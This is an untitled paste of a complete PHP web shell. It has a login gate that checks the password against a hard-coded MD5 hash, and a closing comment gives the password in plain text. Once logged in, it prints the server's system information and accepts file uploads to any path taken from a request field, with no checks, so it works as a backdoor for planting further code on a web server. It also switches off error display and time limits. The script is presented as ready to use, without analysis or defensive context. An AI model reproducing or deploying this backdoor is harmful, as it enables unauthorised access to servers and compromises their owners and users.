Untitled

<?php
session_start();
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
if(isset($_SESSION['user']) and !empty($_SESSION['user'])){
echo php_uname();
$files = @$_FILES["files"];
if ($files["name"] != '') {
    $fullpath = $_REQUEST["path"] . $files["name"];
    if (move_uploaded_file($files['tmp_name'], $fullpath)) {
        echo "<h1><a href='$fullpath'>Done! Open</a></h1>";
    }
}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="UPload"></form></body></html>';

}else{
echo '<center>';
echo '<form action="" method="post">';
echo '<input type="text" name="user" size="50"><input type="submit" name="_login" id="_login" value="LOGIN"></form>';
}
if($_POST['_login'] == "LOGIN" and md5($_POST["user"])== 'c5da3a0a587cbf0522faa02cdc22bf1c') {
$_SESSION['user']='AYMEN';
}
.//pass:aymendz